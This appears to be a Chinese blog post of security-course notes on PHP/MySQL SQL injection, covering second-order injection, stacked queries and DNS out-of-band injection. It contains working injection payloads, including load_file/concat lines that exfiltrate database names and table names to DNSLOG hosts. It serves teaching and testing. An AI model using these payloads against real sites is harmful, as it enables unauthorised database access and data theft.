banner
NEWS LETTER

PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

Scroll down

PHP-MYSQL-二次注入-DEMO&74CMS

  1. DEMO-用户注册登录修改密码
  2. CMS-74CMS个人中心简历功能

黑盒思路:分析代码功能,有INSERT后对数据操作的地方(功能点)
白盒思路:INSERT后进入SELECT或UPDATE的功能的代码部分
注入条件:插入时有转义的函数或配置,能过后续继续利用INSERT的数据

登录后修改,系统会直接直接获取当前登录的用户名当修改条件

如果此用户名在注册的时候是SQL注入语句,就能过提前将代码插入到数据中,然后当系统调用数据的时候,连接形成二次注入语句。需要注意,如果对面代码开了转移的函数,无法插入数据


关键点:在插入的时候需要函数转义或者魔术开关转义,没有的话INSERT注入语句就都注入不进去

首先得知道有没有转义,然后知道有没有单引号,括号,然后插入进去再找在哪触发,一般是看源码代码审计发现的。

原本SQL语句:

1
INSERT INTO users(username,password) VALUES ('username', $password')

将在用户名处写的注入语句带入原本SQL语句

1
2
3
'admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

Insert into users(username,password) vaules('admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#', $password')

但是写入之后,#注释掉了之后的内容,导致password的参数传不上去,就会报错。但是如果去掉了单引号和后面的#号,这个注入语句能写入,但是是以字符串的形式写入的

1
Insert into users(username,password) vaules('admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)', $password')

然后,系统将admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)作为账号存入数据库

函数转义或者魔术开关本意是为了拦截一次注入的,会将单引号前面加上\,注释掉单引号使攻击语句出错,但是这样就给了二次注入机会来插入到数据库中,然后再调用的数据的时候触发语句达成目的

PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句

例如PHP中的mysqli_multi_query函数和mysqli_query()函数。

所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

例如:

1
1.1.1.1:80/sqli/test.php?id=1;create table cypher(personalid int);

2019强网杯-随便注

1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等

PHP-MYSQL-带外注入-DEMO&DNSLOG

  1. 注入条件
    ROOT高权限且支持load_file(),需要同时满足两个要求,条件太苛刻了
    有部分注入点是没有回显的,所有读取也是没回显的,所以采用带外

  2. 使用平台
    https://dig.pm/

  3. 带外应用场景:
    解决不回显,反向连接,SQL注入,命令执行,SSRF等

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    # 查询当前数据库
    1.1.1.1/sqli/new.php?id=1 and (select load_file(concat('//',(select database()),'.d7a64120ce.ipv6.1433.eu.org/abc')))


    # 查询当前版本
    1.1.1.1/sqli/new.php?id=1 and (select load_file(concat('//',(select version()),'.ac45c0ae7c.ipv6.1433.eu.org/abc')))


    # 查询其他数据库
    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))


    # 查询当前数据库demo01中第一个表名
    1.1.1.1/sqli/new.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".ac45c0ae7c.ipv6.1433.eu.org\\xxx.txt"))


    # 查询当前数据库demo01中第二个表名
    1.1.1.1/sqli/new.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 1,1 ),".ac45c0ae7c.ipv6.1433.eu.org\\xxx.txt"))

    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名
    limit 2,1 查询第三个数据库名

其他文章
请输入关键词进行搜索